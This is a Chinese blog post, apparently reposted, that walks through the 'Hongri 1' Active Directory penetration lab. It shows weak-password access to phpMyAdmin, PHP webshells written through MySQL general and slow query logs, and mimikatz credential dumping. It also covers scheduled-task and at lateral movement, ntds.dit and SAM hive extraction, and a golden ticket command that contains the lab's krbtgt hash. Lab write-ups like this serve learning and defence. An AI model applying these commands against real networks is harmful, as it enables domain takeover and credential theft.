内网渗透-红日1

news2024/9/22 19:05:42

红日靶场1

  • 渗透测试过程
    • 外网打点
    • 突破边界
    • 内网横向
    • 权限维持
    • 最后

渗透测试过程

本文章只说明渗透测试思路和技巧,对域靶场搭建不进行赘述
web-ip外网设置为 192.168.119.130,kali和外网ip同网段

外网打点

kali扫描目标ip

  • nmap扫描目标网段
      nmap -Pn -sV 192.168.119.0/24
    在这里插入图片描述
    发现80端口和3306mysql服务器端口
  • dirsearch扫描目标
    在这里插入图片描述
      发现phpmyadmin
  • 访问phpmyadmin后通过root,root弱口令登录到phpadmin
    在这里插入图片描述

突破边界

  • 提权测试
    • mysql文件写入-该值为空无文件写入利用条件
      在这里插入图片描述

    • 数据库全局日志写入
      在这里插入图片描述

      开启全局日志
      	set global general_log = "ON";
      设置全局日志存放位置
      	set global general_log_file='C:/phpStudy/WWW/general.php';
      执行查询
      	select '<?php eval($_POST["pwd"]);?>
      

      在这里插入图片描述

    • 数据库慢查询日志写入

      开启慢日志
      	set global slow_query_log=on;
      设置日志写入路径
      	set global slow_query_log_file='C:/phpStudy/WWW/slow.php';
      执行查询
      	select '<?php @eval($_POST[shell]);?>' or sleep(10);
      关闭慢日志
      	set global slow_query_log=off;
      

在这里插入图片描述

  • 上线cs
    查看webshell账户权限
    在这里插入图片描述

    上线cs
    在这里插入图片描述
    上线权限为system,故不涉及提权

内网横向

  • 被控主机信息收集
    在这里插入图片描述
    确定存在域,域名为god.org
    在这里插入图片描述
    确认win7,直接尝试抓取明文密码
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    拿到administrator密码为hognrisec@2022
  • 网段信息收集
      cs上传fscan
      最新版fscan上传之后执行扫描报错
    在这里插入图片描述
      尝试旧版fscan-成功
    在这里插入图片描述

  fscan64.exe -h 192.168.52.0/24 -o resu.txt
在这里插入图片描述
  运行结束后取回结果
在这里插入图片描述

  • 横向

    目前掌握信息
    	内网fscan扫描结果
    		结果中存在域控主机为server2008,另有一台是server2003,且存在ftp服务
    	域信息
    		域控主机名为owa,IP为192.168.52.138
    		administrator用户明文密码
    

向域控横向-计划任务

设置转发上线监听
在这里插入图片描述
使用转发监听器生成shell beacon.exe
ipc连接
在这里插入图片描述将beacon.exe上传到web边界服务器后通过copy命令将beacon传输到域控
在这里插入图片描述
通过计划任务上线
在这里插入图片描述

上线成功-同时返回的权限也是system权限
向server2003横向
因为是2003所以采用at命令横向
在这里插入图片描述
但是执行后并没有上线,感觉可能是马的问题,故重新生成非x64的木马测试在这里插入图片描述
上线成功
在这里插入图片描述
至此已经完成横向移动的目的且权限均为system

权限维持

  • 卷影拷贝导出ntds.dit
    在这里插入图片描述
    导出密码文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive

下载如下文件
在这里插入图片描述
本地解析
在这里插入图片描述
拿到域中所有用户的hash

  • 计划任务留后门

因为之前横向移动的时候使用的就是计划任务,所以在触发条件为onstart就会进行权限维持

在这里插入图片描述

  • 黄金票据
    前置信息
    1.需要伪造的管理员用户名:administrator
    2.完整的域名:god.org
    3.域sid-域控执行
    在这里插入图片描述
    域id为:S-1-5-21-2952760202-1353902439-2381784089
    4.kribtgt的ntlm hash或aes-256值
    在这里插入图片描述

     构造金票据
     	mimikatz kerberos::golden /admin:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:admin.kiribi
     清空票据
     	mimikatz kerberos::purge
     使用票据
     	mimikatz kerberos::ptt admin.kiribi
     注入内存
     	mimikatz kerberos::tgt
    

    在这里插入图片描述
    配合psexec上线
    shell psexec.exe \owa -s c:\beacon.exe

    最后

     至此整个靶场基本通关了,当然了通关的方式有很多种每个人的思路都是不同的,本篇文章也是我的第一篇域渗透文章,后面会不断更新更多的域渗透靶场的渗透测试文章,也欢迎各位大佬在看过文章之后进行斧正

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2155701.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【记录】大模型|Windows 下 Hugging Face 上的模型的通用极简调用方式之一

这篇文是参考了这篇&#xff0c;然后后来自己试着搭了一下&#xff0c;记录的全部过程&#xff1a;【翻译】Ollama&#xff5c;如何在 Ollama 中运行 Hugging Face 中的模型_ollama 导入 huggingface-CSDN 博客 另外还参考了这篇&#xff1a;无所不谈,百无禁忌,Win11 本地部署无…

【C++初阶】探索STL之——vector

【C初阶】探索STL之——vector 1.什么是vector2.vector的使用2.1 vector的定义2.2 vector iterator(迭代器)的使用2.3 vector空间问题2.4 vector的增删查改2.5 vector迭代器失效的问题2.5.1 vector常见迭代器失效的操作 3 动态二位数组 1.什么是vector vector其实就是一个可以…

iPhone16,超先进摄像头系统?丝滑的相机控制

iPhone 16将于9月20号正式开售&#xff0c;这篇文章我们来看下iPhone 16 在影像方面&#xff0c;有哪些升级和新feature。 芯片&#xff1a;采用第二代 3纳米芯片&#xff0c;A18。 摄像头配置&#xff1a; iPhone 16 前置&#xff1a;索尼 IMX714 &#xff0c;1200 万像素&am…

SQL 多表联查

目录 1. 内联接&#xff08;INNER JOIN&#xff09; 2. 左外联接&#xff08;LEFT JOIN&#xff09; 3. 右外联接&#xff08;RIGHT JOIN&#xff09; 4. 全外联接&#xff08;FULL JOIN&#xff09; 5. 交叉联接&#xff08;CROSS JOIN&#xff09; 6. 自联接&#xff0…

简单题101. 对称二叉树 (python)20240922

问题描述&#xff1a; python: # Definition for a binary tree node. # class TreeNode(object): # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right rightclass Solution(object):def isSymm…

网络通信——OSI七层模型和TCP/IP模型

OSI模型 一.OSI七层模型 OSI&#xff08;Open System Interconnect&#xff09;七层模型是一种将计算机网络通信协议划分为七个不同层次的标准化框架。每一层都负责不同的功能&#xff0c;从物理连接到应用程序的处理。这种模型有助于不同的系统之间进行通信时&#xff0c;更…

pycharm连接远程linux服务器上的docker进行深度学习训练

实习过程中由于GPU都在服务器上&#xff0c;编辑代码很麻烦。并且服务器上配置了docker的环境&#xff0c;所以用pycharm连接远程服务器的docker进行深度学习&#xff0c;这样在本地调用远程服务器的GPU和环境&#xff0c;更方便一点&#xff0c;将这个过程记录下来&#xff0c…

如何将MySQL卸载干净(win11)

相信点进来的你肯定是遇到了这个问题&#xff0c;那就是在安装MySQL的时候操作错误&#xff0c;最后结果不是自己想要的。卸载重新安装又发现安装不了。其实最主要的原因就是没有将MySQL卸载干净&#xff0c;那么如何把MySQL卸载干净&#xff1f;下面本篇文章就来给大家一步步介…

【C++】二叉搜索树的底层以及实现

个人主页 文章目录 ⭐一、二叉搜索树的概念&#x1f680;二、二叉搜索树性能分析&#x1f3dd;️三、二叉搜索树的操作1. 插入2. 查找3. 删除4. 遍历节点 &#x1f384;四、二叉搜索树的实现&#xff08;K模型&#xff09;&#x1f389;五、二叉搜索树的应用1. K模型2. KV模型…

14. PEFT:在大模型中快速应用 LoRA

如果你对LoRA还没有一个直观的概念&#xff0c;可以回看这篇文章&#xff1a;《3. 认识 LoRA&#xff1a;从线性层到注意力机制》。 我们将在这里进一步探讨如何快速地在大型预训练模型中应用 LoRA&#xff0c;并解答可能存在的问题&#xff0c;包括&#xff1a; peft 和 lora …

NSSCTF刷题篇1

js类型 [SWPUCTF 2022 新生赛]js_sign 这是一道js信息泄露的题目直接查看源码&#xff0c;有一个main.js文件点击之后&#xff0c;有一串数字和一段base64编码&#xff0c;解开base64编码得到这个编码为敲击码 解码在线网站&#xff1a;Tap Code - 许愿星 (wishingstarmoye.…

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下部署k8s管理面板KubePi

828华为云征文&#xff5c;华为云Flexus云服务器X实例之openEuler系统下部署k8s管理面板kubepi 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、 KubePi介绍2.1 KubePi简介2.2 KubePi主要特点&am…

序列化方式二——JSON之Gson

Gson 1、什么是Gson? Gson是Google提供的一个用于Java编程语言的JSON&#xff08;JavaScript Object Notation&#xff09;序列化和反序列化库。它允许开发者在Java对象和JSON数据之间进行高效的映射和转换。 官网地址&#xff1a;https://github.com/google/gson 官网文档…

小程序隐私合规自查指南

一 背景&#xff1a;小程序作为一种轻量级应用&#xff0c;广泛应用于各大互联网平台。工信部通报2022年第5批侵害用户权益名单中首次出现8款违规小程序。各监管单位对“小程序”违规收集个人信息监控手段和监控力度不断加强。 工信部APP违法违规通报 上海市委网信办查处违规小…

Python_控制循环语句

if语句单分支结构的语法形式如下&#xff1a; 【操作】输入一个数字&#xff0c;小于10&#xff0c;则打印这个数字(if_test01.py)&#xff1a; num input("输入一个数字&#xff1a;") if int(num)<10: print("小于10的数&#xff1a;"num)条件表达式…

BOE(京东方)携多场景物联网创新应用亮相2024服贸会 “屏之物联”赋能数字经济

9 月 12 日&#xff0c;以“全球服务 互惠共享”为主题的2024中国国际服务贸易交易会&#xff08;以下简称“服贸会”&#xff09;在北京拉开帷幕。作为领先的物联网创新企业&#xff0c;BOE&#xff08;京东方&#xff09;携智慧办公、智慧商显、智能车载、智慧教育、智能工厂…

设计模式例题

答案&#xff1a;D C A D 知识点&#xff1a; 观察者模式的意图&#xff1a;定义对象间的一种一对多的依赖关系&#xff0c;当一个对象的状态发生改变时&#xff0c;所有依赖它的对象都得到通知并被自动更新&#xff0c;和自媒体很相似&#xff0c;自媒体更新内容&#xff0c…

C++--C++11(下)

目录 7.5 完美转发 8 新的类功能 9 可变参数模板 10 lambda表达式 11 包装器 7.5 完美转发 模板中的 && 万能引用 void Fun(int &x){ cout << "左值引用" << endl; } void Fun(const int &x){ cout << "const 左值引用…

秒变 Vim 高手:必学的编辑技巧与隐藏功能大揭秘

文章目录 前言一、vi与vim二、Vim的三种模式1. 普通模式2. 插入模式3. 命令模式 三、Vim中的查找与替换1. 查找2. 替换 四、给Vim设置行号1. 临时显示行号2. 永久显示行号 总结 前言 在Linux系统中&#xff0c;文本编辑器是开发者和系统管理员日常工作中的重要工具之一。其中&…

DeepSeek 2.5本地部署的实战教程

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于大模型算法的研究与应用。曾担任百度千帆大模型比赛、BPAA算法大赛评委,编写微软OpenAI考试认证指导手册。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。授权多项发明专利。对机器学…